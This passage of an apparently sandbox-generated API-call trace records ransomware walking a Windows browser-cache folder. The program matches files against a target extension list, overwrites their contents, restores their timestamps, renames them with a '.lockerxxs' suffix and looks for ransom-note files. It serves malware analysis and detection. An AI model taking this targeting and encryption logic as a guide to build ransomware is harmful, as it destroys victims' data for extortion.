returned 5 [0083.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.dat") returned 0 [0083.284] lstrlenA (lpString="*.dat") returned 5 [0083.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.txt") returned 0 [0083.284] lstrlenA (lpString="*.txt") returned 5 [0083.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.jpeg") returned 0 [0083.285] lstrlenA (lpString="*.jpeg") returned 6 [0083.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.jpg") returned 1 [0083.285] lstrlenA (lpString="*.jpg") returned 5 [0083.285] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg" [0083.285] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg" [0083.285] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg." [0083.285] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg.lockerxxs" [0083.285] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeedpr[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.286] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1ca7 [0083.286] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbe4ca790, dwHighDateTime=0x1d2faf2), lpLastAccessTime=0x407536*(dwLowDateTime=0xbe4ca790, dwHighDateTime=0x1d2faf2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbe4ca790, dwHighDateTime=0x1d2faf2)) returned 1 [0083.286] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.286] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1c81, lpOverlapped=0x0) returned 1 [0083.288] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg") returned="BBEedPR[1].jpg" [0083.288] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.288] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1c81, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1c81, lpOverlapped=0x0) returned 1 [0083.288] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.289] CloseHandle (hObject=0xa4) returned 1 [0083.289] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeedpr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeedpr[1].jpg.lockerxxs")) returned 1 [0083.290] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe34d9d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe34d9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe34d9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x9ef, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEeTpB[1].jpg", cAlternateFileName="BBEETP~1.JPG")) returned 1 [0083.290] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.290] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEeTpB[1].jpg") returned 1 [0083.290] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEeTpB[1].jpg") returned 1 [0083.290] lstrcmpiA (lpString1="", lpString2="BBEeTpB[1].jpg") returned -1 [0083.290] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg") returned="BBEedPR[1].jpg" [0083.290] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.290] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.290] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.290] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.290] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEeTpB[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg" [0083.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.ems") returned 0 [0083.291] lstrlenA (lpString="*.ems") returned 5 [0083.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.db") returned 0 [0083.291] lstrlenA (lpString="*.db") returned 4 [0083.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.dbf") returned 0 [0083.291] lstrlenA (lpString="*.dbf") returned 5 [0083.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.myox") returned 0 [0083.291] lstrlenA (lpString="*.myox") returned 6 [0083.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.myo") returned 0 [0083.291] lstrlenA (lpString="*.myo") returned 5 [0083.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.qbw") returned 0 [0083.292] lstrlenA (lpString="*.qbw") returned 5 [0083.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.qbb") returned 0 [0083.292] lstrlenA (lpString="*.qbb") returned 5 [0083.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.qbm") returned 0 [0083.292] lstrlenA (lpString="*.qbm") returned 5 [0083.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.qbo") returned 0 [0083.292] lstrlenA (lpString="*.qbo") returned 5 [0083.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.qbx") returned 0 [0083.292] lstrlenA (lpString="*.qbx") returned 5 [0083.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.qba") returned 0 [0083.292] lstrlenA (lpString="*.qba") returned 5 [0083.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.qby") returned 0 [0083.292] lstrlenA (lpString="*.qby") returned 5 [0083.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.qbj") returned 0 [0083.292] lstrlenA (lpString="*.qbj") returned 5 [0083.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.ofx") returned 0 [0083.293] lstrlenA (lpString="*.ofx") returned 5 [0083.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.qif") returned 0 [0083.293] lstrlenA (lpString="*.qif") returned 5 [0083.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.mye") returned 0 [0083.293] lstrlenA (lpString="*.mye") returned 5 [0083.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.mbox") returned 0 [0083.293] lstrlenA (lpString="*.mbox") returned 6 [0083.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.eml") returned 0 [0083.293] lstrlenA (lpString="*.eml") returned 5 [0083.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.pst") returned 0 [0083.293] lstrlenA (lpString="*.pst") returned 5 [0083.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.ost") returned 0 [0083.293] lstrlenA (lpString="*.ost") returned 5 [0083.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.idx") returned 0 [0083.293] lstrlenA (lpString="*.idx") returned 5 [0083.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.dbx") returned 0 [0083.294] lstrlenA (lpString="*.dbx") returned 5 [0083.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.sql") returned 0 [0083.294] lstrlenA (lpString="*.sql") returned 5 [0083.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.mdb") returned 0 [0083.294] lstrlenA (lpString="*.mdb") returned 5 [0083.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.fdb") returned 0 [0083.294] lstrlenA (lpString="*.fdb") returned 5 [0083.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.wab") returned 0 [0083.294] lstrlenA (lpString="*.wab") returned 5 [0083.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.dat") returned 0 [0083.294] lstrlenA (lpString="*.dat") returned 5 [0083.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.txt") returned 0 [0083.294] lstrlenA (lpString="*.txt") returned 5 [0083.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.jpeg") returned 0 [0083.294] lstrlenA (lpString="*.jpeg") returned 6 [0083.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", pszSpec="*.jpg") returned 1 [0083.294] lstrlenA (lpString="*.jpg") returned 5 [0083.295] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg" [0083.295] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg" [0083.295] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg." [0083.295] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg.lockerxxs" [0083.295] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetpb[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.295] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9ef [0083.296] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbe34d9d0, dwHighDateTime=0x1d2faf2), lpLastAccessTime=0x407536*(dwLowDateTime=0xbe34d9d0, dwHighDateTime=0x1d2faf2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbe34d9d0, dwHighDateTime=0x1d2faf2)) returned 1 [0083.296] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.296] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x9c9, lpOverlapped=0x0) returned 1 [0083.298] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg") returned="BBEeTpB[1].jpg" [0083.298] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.298] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x9c9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x9c9, lpOverlapped=0x0) returned 1 [0083.298] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.298] CloseHandle (hObject=0xa4) returned 1 [0083.299] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetpb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetpb[1].jpg.lockerxxs")) returned 1 [0083.300] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe4ca790, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe4ca790, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe4ca790, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x952, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEeTuf[1].jpg", cAlternateFileName="BBEETU~1.JPG")) returned 1 [0083.300] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.300] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEeTuf[1].jpg") returned 1 [0083.300] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEeTuf[1].jpg") returned 1 [0083.300] lstrcmpiA (lpString1="", lpString2="BBEeTuf[1].jpg") returned -1 [0083.300] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg") returned="BBEeTpB[1].jpg" [0083.300] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.300] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 